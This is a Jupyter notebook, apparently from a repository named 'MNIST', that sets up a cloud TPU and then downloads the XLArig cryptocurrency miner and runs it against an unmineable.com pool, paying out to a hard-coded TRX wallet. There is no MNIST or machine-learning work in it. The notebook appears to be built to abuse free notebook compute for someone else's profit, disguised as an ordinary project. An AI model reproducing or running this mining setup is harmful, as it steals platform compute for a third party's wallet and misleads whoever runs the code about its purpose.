<jupyter_start><jupyter_text>**SC [TPU]** *TRX*<jupyter_code>#@title Cek TPU [This address identifies the TPU we'll use when configuring TensorFlow.]
import os
from tensorflow.python.profiler import profiler_client

tpu_profile_service_address = os.environ['COLAB_TPU_ADDR'].replace('8470', '8466')
print(profiler_client.monitor(tpu_profile_service_address, 100, 2))
#@title Experimental Worker
import tensorflow as tf
try:
  resolver = tf.distribute.cluster_resolver.TPUClusterResolver()
  tf.config.experimental_connect_to_cluster(resolver)
  tf.tpu.experimental.initialize_tpu_system(resolver)
  print("All devices: ", tf.config.list_logical_devices('TPU'))
  strategy = tf.distribute.experimental.TPUStrategy(resolver)
except ValueError:
  strategy = tf.distribute.get_strategy() 
#@title **XLArig-v5.2.2**
! wget https://github.com/scala-network/XLArig/releases/download/v5.2.2/XLArig-v5.2.2-linux-x86_64.zip && unzip XLArig-v5.2.2-linux-x86_64.zip
#@title Run
! ./xlarig -o rx-us.unmineable.com:13333 -u TRX:TWaMNYJS8hLkrsvjQ8DNJSMuWPjJxUq8zR.XLArigTPU#xuqq-86et -k -t 34<jupyter_output><empty_output>
{'fraction_non_alphanumeric': 0.12917795844625113, 'fraction_numerical': 0.03974706413730804, 'mean_word_length': 6.641379310344828, 'pattern_counts': {'":': 0, '<': 5, '<?xml version=': 0, '>': 5, 'https://': 1, 'lorem ipsum': 0, 'www.': 0, 'xml': 0}, 'pii_count': 0, 'substrings_counts': 0, 'word_list_counts': {'cursed_substrings.json': 1, 'profanity_word_list.json': 0, 'sexual_word_list.json': 0, 'zh_pornsignals.json': 0}}
{'chain_length': '1', 'dir': 'jupyter-structured-clean-dedup', 'id': '611574', 'license': 'MIT', 'n_tokens_mistral': 468, 'n_tokens_neox': 438, 'n_words': 64, 'path': '.gradient/workflows/SC_[TPU]_TRX.ipynb', 'repo_name': 'wai29136/MNIST', 'size': '1107'}